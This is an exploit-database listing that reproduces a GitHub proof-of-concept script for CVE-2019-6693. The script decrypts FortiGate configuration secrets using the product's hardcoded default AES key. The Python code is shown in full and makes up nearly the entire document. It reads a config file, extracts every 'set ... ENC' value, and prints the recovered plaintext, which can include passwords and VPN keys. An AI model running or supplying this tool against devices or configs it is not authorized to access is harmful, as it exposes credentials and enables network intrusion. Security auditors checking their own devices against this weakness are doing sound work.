Exploit database

GH-eefeb8435b132eecd8fa6c43b4c7cd3a

real4xor/cve-2019-6693

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-6693

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
real4xor/cve-2019-6693Revision a42fffb28bcc

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve-2019-6693.py

Suggested starting filePython · 3,410 bytes
import re
import base64
import argparse
from Cryptodome.Cipher import AES

banner = """

  ______     _______     ____   ___  _  ___         __    __   ___ _____ 
 / ___\ \   / / ____|   |___ \ / _ \/ |/ _ \       / /_  / /_ / _ \___ / 
| |    \ \ / /|  _| _____ __) | | | | | (_) |_____| '_ \| '_ \ (_) ||_ \ 
| |___  \ V / | |__|_____/ __/| |_| | |\__, |_____| (_) | (_) \__, |__) |
 \____|  \_/  |_____|   |_____|\___/|_|  /_/       \___/ \___/  /_/____/ 

---                                                                            
Have you changed your default FortiGate encryption keys? Let's see.
---                                            
"""

print(banner)

def decrypt_fortigate_string(enc_str: str) -> str:
    """
    Decrypt a single FortiGate encrypted string.
    """
    key = b'Mary had a littl'
    try:
        data = base64.b64decode(enc_str)
        iv = data[0:4] + b'\x00' * 12
        ct = data[4:]
        cipher = AES.new(key, AES.MODE_CBC, iv)
        pt = cipher.decrypt(ct)
        return pt.decode(errors="ignore").rstrip("\x00")
    except Exception:
        return enc_str

def decrypt_fortigate_file(config_path: str):
    """
    Read a FortiGate config file and extract/decrypt all 'set ... ENC <value>' entries.
    """
    with open(config_path, "r") as f:
        config_text = f.read()

    results = []
    current_section = None
    current_block = None

    for line in config_text.splitlines():
        line = line.strip()

        if line.startswith("config "):
            current_section = line[len("config "):].strip()
            continue

        if line.startswith("edit "):
            parts = line.split(maxsplit=1)
            current_block = parts[1].strip('"') if len(parts) > 1 else "UNKNOWN"
            continue

        if line in ("next", "end"):
            current_block = None
            continue

        m = re.match(r'^set\s+(\S+)\s+ENC\s+(\S+)$', line)
        if m:
            setting_name = m.group(1)
            enc_value = m.group(2)
            results.append({
                "section": current_section or "GLOBAL",
                "block": current_block or "GLOBAL",
                "setting": setting_name,
                "encrypted": enc_value,
                "decrypted": decrypt_fortigate_string(enc_value)
            })

    return results

def main():
    parser = argparse.ArgumentParser(description="Decrypt FortiGate config or a standalone encrypted string")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("--config", help="Path to the FortiGate config file. Usage: python3 cve-2019-6693.py --config <File>.conf")
    group.add_argument("--string", help="A single ENC string to decrypt. Usage: python3 cve-2019-6693.py --string <ENC String>")
    args = parser.parse_args()

    if args.string:
        decrypted = decrypt_fortigate_string(args.string)
        print(f"Encrypted: {args.string}")
        print(f"Decrypted: {decrypted}")
    else:
        entries = decrypt_fortigate_file(args.config)
        print("---\nDECRYPTED VALUES\n---\n")
        for entry in entries:
            print(f"Section: {entry['section']}")
            print(f"Block: {entry['block']}")
            print(f"Setting: {entry['setting']}")
            print(f"Encrypted: {entry['encrypted']}")
            print(f"Decrypted: {entry['decrypted']}\n")

if __name__ == "__main__":
    main()